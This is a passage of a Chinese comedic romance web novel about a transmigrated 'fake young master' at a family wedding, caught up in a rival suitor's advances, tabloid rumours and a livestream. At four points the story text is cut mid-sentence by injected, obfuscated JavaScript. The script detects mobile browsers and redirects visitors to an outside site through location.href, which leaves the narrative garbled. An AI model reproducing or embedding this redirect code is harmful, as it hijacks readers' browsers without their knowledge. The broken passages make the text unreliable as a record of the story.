“田家,小门小户罢了,还真以为能奈何得了夏氏?”夏云祈对于夏知鱼的靠近十分满意,尤其是他没什么防备心贴着自己,圆圆的眼睛满是无辜盯着自己,他根本就不知道自己存了什么心思。 好不容易来吃一次饭,竟然被打断了,夏知鱼脑中闪过无数个英文单词上,最后定格在“taxi”上,等等,好像有点不太对。 “把你们经理找来吧。”夏云祈适时开口,对身边那个手足无措的服务员说:“这两个人没有月上居的会员吧?” 那服务员巴不得快点离开这修罗场,听见夏云祈的话跟听见救星发言似的,连连点头:“好好,我马上就去。” “怎么没有月上居的会员就不能来吃饭吗?”田丹突然发问。 月上居是个私人的老店,没有会员可以在大堂里用餐,有会员的话可以直接预定包厢,像夏知鱼和夏云祈这样的提前一个小时预约好就可以直接用餐。 夏知鱼指了指身后的包厢:“你也是路痴吗?我不记得大堂用餐的位置要经过包厢。” 等了一小会,服务员把经理叫过来,经理脸上挂着一个非常标准的假笑,他走过来先是跟尊贵的包厢用户打了个招呼,才询问到底发生了什么。 夏知鱼三言两语概括了大致,然后用毕生的遣词造句控诉他们一家三口对自己进行人身攻击。 夏云祈订的包厢是整个月上居最贵的一间,有钱都不应能预约得上,经理当即决定好,对着田广盛说:“先生,您要是再继续,就是扰乱我们饭店正常营业了,这不合规矩,您看是继续去大堂用餐还是送您出去?” 田广盛一连冷哼几声,声音闷在喉咙里,他看了看夏云祈的脸,若有所思。 最后由经理带领田家三人去用餐,夏云祈和夏知鱼刚好吃完饭,准备回去。 夏云祈下午要开会,给司机打了电话让送夏知鱼回去,两人互换了联系方式。 这一别就过了七八日,自那天晴天后接连几日都是阴雨绵绵,夏知鱼搬出去的计划因为各种事情一拖再拖,倒是为夏语年准备的家庭宴会提上了日程,人回来了总是要认祖归宗的。 唐浸月一早把夏知鱼和夏语年喊起来,精心给两人挑选了合身的西服,还顺带送了两人每人一对拍卖会上拍下来的袖扣,一直到发型师给两人做好造型才满意的点头。 夏知鱼脑子还不清醒,只知道把自己安全的交给造型师就可以,闭着眼昏昏欲睡,夏语年也好不到哪去,他昨晚通宵打游戏,刚睡着就被亲妈提溜起来了。 造型师根据两人的特点给两人设计发型,夏知鱼看着就乖,两根呆毛翘在头顶怪可爱的,她都忍不住上手揉两下。 最后在夏以德再三催促下他们才出发。 “妈妈,咱们这是去哪啊。”上了车夏语年才想起来问。 “妈妈的好朋友儿子结婚了,邀请咱们去参加婚礼的。”唐浸月说。 夏知鱼看了看自己这身行头,总觉得他不是去参加婚礼的,而是去结婚的。 夏以德感叹:“咱们还是先小慧一步结的婚呢,到头来是小慧儿子先结了婚了哈哈哈。” 唐浸月说:“儿孙自有儿孙福,没有孙子我享福。” 两人你一言我一语聊起来,夏语年看着前方挪动屁股凑近夏知鱼,夏知鱼奇怪的看过去,一躲。 夏语年“啧”了一声,挪着屁股追上去,把夏知鱼挤到角落里。 “夏语年!这个车不够大吗?非得和我挤在一起?”夏知鱼压着声音问。 他不想让唐浸月和夏以德知道自己和夏语年关系不好,这是他能维持的最后的形象了。 “谁想和你挤在一起了!”夏语年瞪过去,同样小声说:“我是想警告你,别想在人家婚礼上耍花招,我会一直盯着你的。” 夏知鱼莫名想起一句话:我会一直监视你,直到永远…… “噗嗤——”他没忍住,笑出了声。 “有什么好笑的?”夏语年自觉挺有威慑力的,在夏知鱼耳边用气声道:“被我发现你要做对夏家不利的事,就别怪我心狠把你赶出去。” 夏知鱼缩了缩脖子:“别在我耳边说话,怪暧昧的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320542|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “!!!”夏语年顿时瞪大眸子,惊恐后退,屁股磨得生疼也不敢停下来,他也看过夏知鱼那场澄清的直播,自然之道对方喜欢男生,一听见这话连声音都忘了控制:“你在口出什么狂言!” 夏知鱼的表情好像在说“不要明知故问”,但他表情顿了顿,突然想到了一件很重要的事,不知道原主原来的性取向是什么,他当时冲动了,在网上出了柜,要是被爸爸妈妈看到了…… 他心虚看向唐浸月和夏以德,见两人没有什么特殊的反应才松了口气,也是,要是有问题前两天就该约谈他了,还能让他逍遥这么多天? …… 婚礼场地在私人酒店,司机去停车,夏以德带着他们进了大厅。 外面门口上绑满了白色的丝带,上面绑着彩色的花,据说那些花都是从过来空运过来的,花了二十多万,里面的红毯上也都是精挑细选的玫瑰花瓣。 顺着红毯往前走上一段进入大厅,顶棚都是天然的水晶做的吊灯。 “小慧有心了,到时候拍照站在这些水晶等下肯定很出片。”唐浸月感叹了一句。 靠着墙面的四周摆了几排桌子,上面摆满了精致的小点心,随处可见的服务生手里拖着红酒。 “月月,终于等到你们了!” 不远处传来一阵喊声,唐浸月惊喜看过去:“小慧,你今天好漂亮!” 她又向夏知鱼和夏语年介绍:“快来,这位是你们慧姨,是妈妈最好的朋友。” 张慧一直和儿子生活在国外,和唐浸月都是手机联系,不过这一点也不影响两个好姐妹之间的友情。 “我看看,这就是小年吧。”张慧拉着夏语年的手感叹:“还真别说,和夏以德那个老东西年轻时候还挺像。” 夏知鱼站在原地看着几个人寒暄,倒也不觉得尴尬,他礼貌喊了一声:“慧姨好。” “好好好,小鱼都长这么大了,哎呀,时间过得真快,我出国那会小鱼才长我腿那么高呢。”张慧干脆一手牵一个:“好孩子,这段时间你们受苦了,哎。” 唐浸月和夏以德决定在外面养一段时间再接夏语年回夏家这个决定就是她提出来的,一是为了看夏语年品行如何,这孩子从小长在福利院,福利院的院长又对孩子们不好,万一长歪了可怎么办,那会她就说,要是夏语年品行不端,就给他一笔钱,让他下半辈子衣食无忧算了。 二就是怕夏知鱼突然知道自己不是夏家亲生孩子接受不了,留下一段时间做缓冲。 夏语年知道张慧这人说话直来直去,没有什么坏心眼,也放心让唐浸月他们好闺蜜俩说说话,就拉着夏语年胳膊,作势要拖走他。 “爸妈,慧姨,你们叙旧,我和夏语年四处转一转哈,还是第一次参加婚礼呢。”夏知鱼说。 张慧笑道:“行,有什么问题就找服务生,带着小年转一转吧,等你们以后结婚了,姨姨也送你们每人一顶专人设计的水晶吊灯。” 夏语年被夏知鱼拉去角落里:“哼,我可不想和你一起转,你走你的,我走我的,别惹麻烦,一会见。” 说完转身就投入这个花花世界了。 留下夏知鱼一脸无语,说好了要一直看着他的呢…… 没人跟着正好,身为一条合格的咸鱼,当然应该躲在角落里吃吃喝喝,傻子才去抛头露面呢。 夏知鱼一脸快乐飘到角落,余光瞟见一抹熟悉的身影。 他停下脚步伸着脖子看过去,果然没错,他竟然来这里了。 12. 吃醋(捉虫) 数数日子,夏知鱼已经和“夏先生”有小半个月没见了,他还以为夏先生去出差了,毕竟他们的连天记录像每天打卡似的。 大概就是: 夏云祈:早上好,吃早饭了吗? 夏知鱼:中午好,午餐吃了阿姨做的手擀面。 夏云祈:晚上好,早点睡。 夏知鱼:晚安。 没有营养的对话霸占了手机屏幕,每天定时定点的像人机一样刷新,有时候夏知鱼忘了“例行打卡”,夏云祈也会多发上几条。 夏知鱼想得出神,走去角落也没注意看,光想着夏云祈好像故意刷存在感,完全没注意到门口刚进来的青年盯着他看,沉思片刻朝他走过去。 婚礼还有两三个小时才会开始,来参加婚礼的宾客三三两两聚在一起交谈,服务生拖着红酒穿梭其间。 夏知鱼再三心理建设,终于在其中一个服务生转悠到他附近时喊住了他:“维特儿,来杯牛奶。” “是夏二少吗?” 服务生还没来,一个穿着高定衬衫,胸前带着小兔子胸针,染了一头比夏知鱼还扎眼的红色,那人一见着夏知鱼就两眼放光,扭着身子朝他走过去。 “夏二少,上午好啊。”他手上拿着酒杯,一双顾盼生辉的眼眸落在夏知鱼锁骨上,他自来熟的亲昵让夏知鱼有点惊讶。 “你好,请问你是……”出于礼貌,夏知鱼冲他点点头。 “您可能不认识我,但是我在网络上看到过您唱歌,很好听。”那男生很自然坐在夏知鱼身边,修长的手指贴近夏知鱼的腿,西服压得褶皱也不在乎。 腿上突然袭来的热源吓了夏知鱼一跳,那人一双手自然揽过夏知鱼的胳膊,试图将话题往自己身上引:“我叫张池,池塘的池,是您的粉丝。” 夏知鱼默默反应了一下:“夏二少?你找错人了,我叫王小明,是夏语年的朋友。” 张池并不是个轻易相信夏知鱼鬼话的,任他说着,只是轻佻着唇看着他。 “……”夏知鱼皱起眉。 不信么?难道最近没有鬼话连篇,功力都下降不少? “好吧,你找我有什么事?”夏知鱼认命问。 张池这才翘起二郎腿,慢慢开了口:“只是见到了来打个招呼罢了,二少,我在乔晚酒吧关注你很久了,可以加个联系方式吗?” …… 夏云祈收到请柬后给夏以德打了一个电话,得知夏知鱼也会来参加这场婚礼,就推掉了今天的工作,实际上他也不知道自己为什么这么做。 早上换好衣服,司机送他到婚礼现场时夏家人还没到,他就跟张慧打了声招呼找地方悠闲去了。 宾客陆续到达,几个眼熟的合作伙伴和夏云祈打过招呼后识趣的离开。 一直到夏知鱼慢悠悠飘进来,夏云祈才放下心,虽然他也不知道自己放的是什么心,大概是不安好心吧。 不一会夏知鱼躲到无人在意的角落去,夏云祈放下手里的酒杯准备去打个招呼,就见一个比自己矮上半个头的男人坐了过去,两个人相谈甚欢,夏知鱼还帮对方拿了食物。 夏知鱼的腿和那男人的腿贴在一起,那男人的胳膊还搭着夏知鱼的胳膊,两个人旁若无人……不,角落里根本就没有人,说说笑笑,看着就很开心。 像这样的场合大多会有记者拍摄,当然,混进来的狗仔也有两三个,不知受了谁的指使,悄悄拿着手机对着夏知鱼的方向连拍。 在场的宾客各忙各的,心里打着算盘,谁都没注意到这场无声的风暴。 夏云祈重新拿起酒杯,无意识摩挲着杯子的边缘,周身散发着上位者的威压,吓得旁边想和他寒暄的两个噤了声。 说话就说话,离得那么近做什么?又不是听不到。 聊天就聊天,动手动脚的像什么话!男男授受不亲懂不懂? 那男人越靠越近,脸都快凑上去了,夏云祈终于忍无可忍,打着为自己弟弟好的名义朝那边走过去。 …… 作为一个懂礼貌的i人,即便是想快点离开这里也要找一个合适的时机,夏知鱼脸上挂的是疏离客气的笑容,不管对方说什么都点头说是,活脱脱是一个乖乖听老师讲话的乖宝宝,尤其是配上那张脸,效果更佳。 其实呢,夏知鱼已经快烦死了,心想:不是哥们,我都躲在角落里阴暗爬行了,怎么还能被找到!?现在怎么办啊,是该勇敢的走开还是该安静的留下来……要不还是安静的走开吧? 张池还在喋喋不休,丝毫没注意到夏知鱼的不耐烦,他还在讲述自己是怎么在酒吧里听见夏知鱼的声音,看见他打了田丹之后更加兴奋,几乎想冲上去和夏知鱼说话,但是他还是克制住了,因为那并不是一个可以交朋友的好时机。 看得出来,张池对于这一次的见面有很大的信心。 但是夏知鱼有点生无可恋,他只是想好好享受一下安静的人生怎么就这么难啊!和陌生人交谈跟在警局里做笔录有什么区别! 当他脑子里第三次模拟“安静离开”的路线时,夏云祈快步朝他走过来。 他的胳膊上还搭着外套,看似随意朝他走过来,连一直没停嘴的张池都截住了话头。 夏知鱼心道:还真像个小说里面的霸总,那种可以做上三天三夜的腹黑霸总。 嘿嘿,脑子黄黄的,心也黄黄的,很安心。 他越想越偏,连夏云祈坐在他旁边都没发现。 “小鱼,这位是?”夏云祈动作亲昵揽住夏知鱼的肩膀,把人往自己怀里带了带。 夏知鱼靠得舒服,下意识蹭了蹭,傻笑一声:“啊,是刚认识的小粉丝。” “粉丝。”夏云祈目光落在张池和夏知鱼靠在一起的腿上,又转移到两只交叠在一起的手上,神情变得阴冷起来:“什么粉丝说话要靠的这么近?还要贴在一起才能说?” 夏知鱼看了看夏云祈揽着自己肩膀的姿势,腹诽:“你还好意思说别人?” 虽然他自己靠得也很舒服! “我和小鱼哥哥相见恨晚,我很喜欢他的歌,是他的粉丝,您是……”张池挑眉:“小鱼哥哥的叔叔?” 这是在变相说夏云祈老吗?夏知鱼一惊,这孩子还真是“童言无忌”,居然这么敢说? “不,我们是朋友。”夏云祈抬眸看张池,神色平静毫无波澜。 这就是独属于霸总的淡定吗? 夏知鱼搓了搓胳膊上薛定谔的鸡皮疙瘩,顺势从夏云祈怀里闪出来,脑子里疯狂跳动的红色感叹号上来回蹦跶一个字——危! 他怎么就在人家怀里靠着这么久呢?还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320543|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个修罗场既视感是怎么肥四?谁来解释一下啊喂! “朋友啊……”张池意味深长说了句:“既然是朋友我就放心了……” 槽点众多,夏知鱼已经不想再吐槽了。 管他们是想对自己动手还是下手呢,先保护好屁股在说。 “那个,我来介绍一下,这位是我朋友,姓夏……”夏知鱼顿了顿,聊了这么久他居然还不知道对方叫什么名字,不过没关系,之后问一下吧,又指了指张池:“这位是刚刚才认识的粉丝。” 他想着,等介绍完对方就脚底抹油赶紧跑,省的这个莫名其妙的修罗场误伤自己,说话的速度快到差点咬了自己舌头。 夏云祈和张池还在较劲,夏知鱼坐在中间水深火热,笑而不语。 他突然有点不想走了,这两人“友好”的交谈还挺有意思,反正婚礼还没开始,不如坐在这听一听,就是可惜了没有瓜子,吃瓜都不完整了。 夏云祈衣服上的香水味很淡,混合着酒水的香气飘进夏知鱼的鼻腔,低沉的嗓音就在耳边一句又一句,如果忽略内容的话,还是挺享受的。 知道他听见张池说:“那就不劳您操心了夏先生,我欣赏小鱼哥哥的才华和为人,又恰巧听说他也喜欢男生,所以打算追他。” 那一秒,夏知鱼愣住,夏云祈差点脱口而出“我是他哥哥”,好在理智成功抢占上风,话在舌尖转了一圈,又被苦哈哈咽了回去。 “追谁?!”夏知鱼不自觉用手指抠起椅子边缘,看看天看看地,就是不愿意看看主人公一眼:“怎么牛奶也能喝醉,醉奶真可怕,都产生幻觉了。” 气氛安静下来,如影随形的尴尬再次出现。 夏知鱼手机不合时宜响起电话铃声,且滑稽搞笑,引得旁边人都多看了两眼。 “是我爸。”夏知鱼如获救一般一把抓住,按了接听放在耳边:“爸爸。” 电话那边夏以德短暂的沉默了一下,说:“小鱼,带着小年来找爸妈吧,婚礼快要开始了。” “哦好的爸爸。”夏知鱼回答。 夏以德:“都说了不要乱跑,小年不动就算了,你怎么也不知道?” 夏知鱼嘴边的笑容一下消失,他不太理解,明明是关心他们,怎么话说出来就变成责怪了呢? “知道了爸爸,我会带小年回去的。”夏知鱼说。 “嗯,我听你张姨说你大哥也回来了,要是遇见他就打个招呼。” “好的。” 挂了电话他给夏语年发了个消息,起身道:“抱歉我该走了,有时间再聊吧。” “等等小鱼!”张池紧忙拉住夏知鱼的胳膊:“我有个东西给你。” 他从口袋里拿出一个精致的小方盒子,摊开夏知鱼的手掌放在上面:“这个,希望你能喜欢。” 对于陌生人的示好和亲近,夏知鱼本能的有些排斥,况且能提前准备这东西,怎么看都是有备而来,说什么粉丝,估计是个接近他的借口罢了。 夏知鱼着急离开,没时间拉扯,想着既然对方有意接近就一定还会见面,下次再还给他或者回个礼也是可以,所以只留了句“谢谢”便离开了。 “朋友……有什么用呢,他还是接受了我的示好。”等夏知鱼走远,张池挑衅的看向夏云祈:“你还差得远。” 13. 梦境 夏知鱼不会内耗,那些不好的话从来是左耳进右耳出,对于夏以德的话也只会不开心一小会。 和夏语年一起坐在桌子前时已经恢复成平时那种要死不活的沙雕状态。 司仪在前面拿着话筒主持,夏知鱼在下面吃吃喝喝。 一套流程下来夏知鱼已经吃饱喝足昏昏欲睡了。 “夏知鱼,在外面呢,你注意着点。”夏语年略带嫌弃小声提醒。 “这你就不懂了吧?现在不吃两口,等一会到其他流程你想吃都吃不到了。”夏知鱼深知夏语年的性格,加了一块鱼肉放进后者碗里:“你刚刚也没吃东西吧,下午有舞会,晚上应该还有慈善拍卖,都不能吃东西,你现在不吃就要饿上一整天。” 夏语年将信将疑,拿起筷子:“你最好不是胡说八道……” …… 正如夏知鱼所说,婚礼结束后大家匆匆赶到室外参加派对,大厅正中放着一架钢琴,钢琴师带着白色手套的手指在琴键上轻快跳动,一首首舞曲响彻大厅…… 晚上,张慧带着新娘一起拍卖了不少东西,并把所得的钱财捐给了福利机构。 一整晚下来夏语年都没再吃上一口东西,等晚上回到家以后整个人瘫在沙发上一动不动,“哎呦哎呦”直叫唤。 王妈早就下班回家了,唐浸月和夏以德也有些累,只有咸鱼了一天的夏知鱼还算有点精力,主动请缨下厨房做了一锅面条。 夏语年见了面条两眼放光,像是半辈子没吃东西的饿狼,扑到碗里埋头苦吃,夏知鱼给唐浸月和夏以德也各自盛了一碗,他自己着急去酒吧里上班,再三犹豫后只能忍痛割爱。 下了班已经很晚,夏知鱼回了租的房子。 余袖一虽然一直交着房租,但已经很久没回来住过了,他说他已经签了战队,所以住在基地里,不过房子还是要继续租的,万一有什么特殊情况还能回来住上一晚。 夏知鱼知道,余袖一根本就不需要什么应急房间,说到底就是为了帮他分担房租。 他最近很少和对方打游戏了,而是自己创建了一个账号,平日里发些弹唱的视频,因为唱个好听性格又好,很快就收获了一大批粉丝,最近下了班赶回这里住,他就买了一把吉他准备直播。 他照常打开直播软件,下面粉丝很快发射弹幕。 【哦呦呦呦呦:小鱼晚上好!】 【我嗑的cp永不be:小鱼最近在熬夜吗?直播的时间好晚啊。】 【鱼:我鱼盛世美颜,舔一口斯哈斯哈。】 【我爱看帅哥:我妈问我为什么舔屏幕。】 【给我摸摸你八块腹肌:小鱼今天要唱什么歌?】 除了粉丝,还有闲的der疼的无聊黑子在蹲他,见他开始直播噼里啪啦狂按键盘。 【7654456:真无语,一个富二代而已,唱歌也就那样,你们一个两个礼物跟不要钱似的。】 【骂我蒸鹅熏:指不定拿着你们打赏的钱去哪里找女人了呢。】 夏知鱼只挑了两个ID眼熟的粉丝回答了,对于黑子的问候熟视无睹:“晚上好啊各位,最近没有熬夜啊,大家也少熬夜,对身体不好……今天翻唱网络上流行的歌曲吧。” 他一边回答粉丝的话,一边调试着吉他。 【白纸:小鱼,你和那个叫张池的演员在一起了?】 夏知鱼看评论时一眼就看见了这条评论,正纳闷为什么会有真刚的传言时,又看见粉丝弹幕。 【999:靠,有没有人看热搜?张池送了小鱼一枚戒指?都被拍下来了。】 评论势头逐渐跑偏,黑粉们闻着味找上来。 【蓝黑色:我就说吧,夏知鱼根本就不是什么好人,一边操着单身人设,一边吊着别的演员,让人恶心。】 【骂我蒸鹅熏:有图有真相,都实锤了。】 夏知鱼唱完歌曲最后一句,停下音乐:“啥?我脱单了?我咋不知道?” 与此同时,一个新注册的用户在夏知鱼直播间刷了一颗流星直接刷了屏,那些黑子的逆天发言直接被流星顶上去看不见了。 一颗流星要五千块,这个新用户一连刷了五个才停下。 “……谢谢这位、云雨的礼物。”夏知鱼有点震惊,看着这位新用户头像上的鱼有些出神:“澄清一下啊,没有在一起,我单身的。” 云雨又刷了一颗流星。 “别别,别再刷了。”夏知鱼说:“这样吧,今晚你来点歌。” 【云雨:内向,可以吗?】 这首歌是夏知鱼原创的,在酒吧唱过一次,第一次直播的时候也唱过,一共就这两次,虽然直播视频有流传出去,但这首歌的确很少人知道。 “好。”夏知鱼清了清嗓,拨弄着琴弦开了口。 【鱼:妈妈问我为什么跪在地上看手机。】 【音乐鉴赏大师:我此生无憾了。】 一曲作罢,弹幕被一水的好评刷了屏,夏知鱼艰难的找到那个叫云雨的网友发的弹幕。 【云雨:好听。】 得到了肯定,夏知鱼眯着眼睛笑起来:“再唱几首就下播,明天晚一点继续直播。” 他没把张池和自己的热搜放在心上,现代网友刷新鲜事物的速度宛如坐了火箭,用不了两天就会被其他事情代替,只要不影响夏氏和无辜的人,其实夏知鱼根本不在乎自己跟谁组了cp。 又不是真贡献了菊花。 就算是到了那个地步,也许贡献菊花的不是他自己呢。 夏知鱼如是说。 …… 第二天一早,夏知鱼是被雨敲打玻璃的声音吵醒的。 细细密密的秋雨挂在窗户的玻璃上,带来的秋寒一场比一场冷。 夏知鱼缩在被子里手脚冰凉,恍惚间梦到自己和夏云祈一起在广场上散步,因为天气太冷,广场上稀稀拉拉没有什么人经过,两个人就一直并排向前走,谁也没说话。 人工喷泉前面是刚修好的水管,夏知鱼一个趔趄踩上去,身后链接喷头的地方爆开,冷水冲上天空又落下来,淋了两人满身。 “呦,这大晴天的还下上太阳雨了。”夏知鱼四十五度角仰望天空有感而发:“十一月的秋,孩子的脸,说变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320544|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就变了……哎?雨又停了?” 夏云祈一脸无语看着夏知鱼,弯下腰把那截断开的水管提起来:“看看。” “……”夏知鱼心虚:“是人工造雨啊。” 他又蹲下身攥起拳头放在夏云祈手边碰了碰:“你这手怎么比我大了这么多?” 夏知鱼专心致志和夏云祈比手大小,远处夏语年发出尖锐爆鸣:“喔喔喔喔喔喔!” “你只要下蛋吗?”夏知鱼听见声音,毫不在意这个电灯泡为什么会突然出现。 “你们……在比鸟?不,是在吃鸟?大庭广众!伤风败俗!你们!你们!”夏语年一连四个叹号,成功让夏知鱼升起杀心。 画面一转,冷静的夏云祈已经穿上婚纱,手里拿着捧花走向自己:“娶我吧。” “!!!”夏知鱼完全感觉不到结婚的粉红泡泡,全是恐怖片的节奏,甚至婚礼进行曲也变成了鬼魂追击乐。 他是被自己一脚蹬开被子,然后冻醒的。 睡眼惺忪的他坐起身,重新拾起被子披在身上晃神,枕边手机忽然响起音乐:“你们都给我变鸟,变好多好多的鸟……” 夏知鱼思绪一断,脑海中逐渐清晰的“新娘夏先生”又变得模糊起来。 “鸟儿鸟儿快出来……” 手机铃声还在继续,夏知鱼捞起手机按下接听:“你好。” “小鱼,是妈妈。” 夏知鱼一颤,瞬间清醒:“妈妈,怎么了嘛?” 那头有些犹豫,犹豫着长了很多次口才下定决心:“小鱼,妈妈听说你已经结婚了……” 就说人类不能早起吧,看,都出现幻觉了。 夏知鱼咬着唇珠回想,昨晚直播的时候好像粉丝也说过这件事,据说已经挂在微博热搜上了,结婚的对象还是张池。 本来想着大事化小,毕竟作为一个惹人厌烦的假少爷,他不应该频繁出现在热搜上,但这件事是有人冲他,不,可能是冲夏家来的,他不能坐视不管。 “没有啊妈妈,我结没结婚您还不知道吗?”夏知鱼尽量让自己的语气听起来平静一些:“可能是昨天在张姨儿子的婚礼上被狗仔拍到和朋友说话,添油加醋就变成结婚了,网络上嘛,真真假假的。” 唐浸月还没说话,电话那头夏以德的咆哮声通过手机传过来:“说话能被拍到送戒指?人家都在传那场婚礼是给你俩办的呢!” 能听得出来,气急败坏都不够形容此刻的夏以德。 “先别生气爸爸,这样吧,我先回去,等一会在谈好吗?”夏知鱼心想:知道你着急,但你先别急。 挂掉电话,夏知鱼简单洗漱好,换了件休闲风穿搭叫了出租车。 本来夏以德是叫夏家司机去接他的,但是被夏知鱼一口回绝,表示反正离得也不远,打个车或者走回去就行,夏以德还在气头上,说了句“随便”就挂掉了电话。 微信最上面是夏云祈发来的信息,只有一个简短的问号,回复起来太麻烦,夏知鱼点掉消息提示,决定夏家那边解释好再和夏云祈。 二十分钟后,夏知鱼敲响了夏家的门。 14. 兄弟 “这个情况啊就是这么个情况,具体什么情况还是得看情况。”夏知鱼简单陈述昨天发生的事情后说:“一觉醒来发现我变成已婚人士,我也很崩溃啊。” “小鱼,和妈妈说说那天都发生了什么吧。”唐浸月担忧的拍拍夏知鱼的肩膀:“没事,咱们家里也不是好欺负的,爸爸妈妈会给撑腰。” 夏知鱼想了想,把在婚礼现场发生的事添油加醋说了一遍。 夏以德坐在沙发上装作毫不在意,实际上耳朵恨不得伸到夏知鱼嘴边,越听眉头皱的越紧,听完整个故事气得说不出话来。 “像是故意被拍的。”唐浸月分析:“不知道出于什么目的,但总归是不好的,小鱼,这事交给爸爸妈妈吧,你放心,我们不会让你吃亏的。” “是啊,真不把夏家放在眼里。”夏以德冷哼好几声,激动的声音都大了不少,柔软的沙发被他拍的啪啪作响,整间客厅都回荡着他义愤填膺的声音:“等着,爸爸一定给你讨回个公道,敢消费我夏以德的儿子!还想不想在道上混了!?” 敢问爸爸,您是在哪条道上混的? “说什么混话。”唐浸月白了一眼夏以德。 夫妻两个都是行动派,说解决就行动,王妈做午饭的间隙解决了问题,还顺便买了一波惨,帮夏知鱼狠狠刷了好感度。 饭后,唐浸月拉着夏以德神神秘秘,两个脑袋凑在一起,时不时看向自己两个无辜的儿子,犀利的眼神像是在打量论斤卖能卖多少钱。 十分钟后,唐浸月把夏知鱼和夏语年“扫地出门”了,美其名曰促进两人的兄弟感情。 看着自家两个儿子一脸抗拒的表情,唐浸月就知道自己的决定是有多正确了。 “让你们出去转转增进感情,又不是让你们约会搞基,什么表情嘛。”唐浸月吐槽。 夏知鱼泰然自若:“没错,夏语年,我们确实该好好正视我们之间的感情了。” 夏语年瞳孔地震:“我们之间哪有感情!” 夏知鱼充耳不闻:“妈妈您放心,等您再见到我们的时候,我们一定把友好的革命感情升华到天上去。” 唐浸月才满意关上门。 被“扫地出门”二人组两两相望,夏知鱼率先开口:“饭后走一走,路边再吃九十九。” 夏语年咕咚:“……走!” 但凡犹豫一秒都是对食物的不尊重。 夏家的司机听了唐浸月的指令要把两人送去看一场电影,自己坐在驾驶位一言不发。 夏知鱼“呲溜”一下钻进后座,夏语年紧随其后并关好车门。 一路上车上气氛沉默,司机尽职尽责把自己当成空气人,夏知鱼巴不得没有人说话,就自己做自己的事情就好。 但是夏语年是个闲不住的,没一会就控制不住嘴叭叭叭说起来:“我说,你最近受啥刺激了,感觉和以前不太一样了,要不是我不看小说,说不定就怀疑你被魂穿了。” “!!!”夏知鱼惊恐:好兄弟,你离真相就差了一本小说啊! 夏语年完全沉浸在自己的世界里:“你以前死要面子,绝对不会学狗叫的,还叫的那么像,天赋异禀。” “谢谢夸奖啊,但你先别夸。” “哦好。”夏语年正色:“其实我想说的是,你这样还不错,也不搞事情,挺接地气,像个鲜活的人,你放心,我以后不会再针对你了,既然你已经发生了改变,那我也会像对待家人一样对待你的。” 夏知鱼吸了吸鼻子,正当夏语年以为夏知鱼是感动的快要哭出来的时候,他听见对方凉凉的说了一句:“你说我不是人?” 夏语年准备抱住夏知鱼给予安慰的动作生生顿住:“……啊?” “你骂我!?”夏知鱼委屈屈。 “不是,我的意思是……”夏语年慌乱的解释。 “我不听!你就是骂我,你说我不是人!”夏知鱼捂住耳朵。 “不是,你冷静一下好吗。” “你甚至不愿意解释。” “是你说不听的……” “你还凶我!” “……” 夏语年:OK,我闭嘴好吧。 司机把车停在电影院门口,等俩人下了车解脱一般冲他们挥挥手:“少爷慢走。” 夏语年瞄了一眼夏知鱼,很好,没有要嘤嘤嘤的节奏,再看一眼,很好,没有无理取闹的样子,再看一眼…… “好看吗?”夏知鱼问。 “呃,还挺好……不是!”夏语年回过神,想着既然偷看都被发现了,还不如大大方方把自己想问的问题问出来:“你在酒吧和田丹起冲突那件事家里都知道了。” 夏知鱼抛出了一个“所以呢”的眼神,示意夏语年继续说。 “所以你为什么突然转变的这么快?”夏语年问。 “遇到事情呢,首先要考虑是不是自己的问题。”夏知鱼一个大喘气。 夏语年还以为是夏知鱼学乖了,可是一遇到事情就考虑是不是自己的问题会不会太内耗了? “如果是,就要想办法推到别人身上。” “……”夏语年觉得应该换个话题聊一聊,继续这个话题的话他怕忍不住做一些无法挽回的事情。 …… 按照唐浸月的安排,夏知鱼和夏语年现在应该双双站在电影院门前,手上拿着爆米花和肥宅快乐水,然后目光坚定的走进去看一场关于兄弟亲情的海外大片。 等电影结束时大受震撼感受颇深,当场结拜为同姓兄弟,最后痛哭流涕保证再也不吵架,勾肩搭背走出去,从此成为幸福快乐的一家。 然而,当两人站在电影院门前两两相望时,除了嫌弃,他们竟默契的再也不能从对方眼中读出一丝情绪。 电影是不能看的,夏知鱼一转眼睛:“哎,我有一计。” 夏语年:“好主意。” 于是两人一拍即合去了游乐场。 前后两辈子夏知鱼都没来过这样的地方,游乐场这个词对他来说太过陌生。 和电视上看到的不一样,夏知鱼看着夏语年站在售票处前忙碌的背影,忽然有了一种踩在地面上的踏实感。 “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 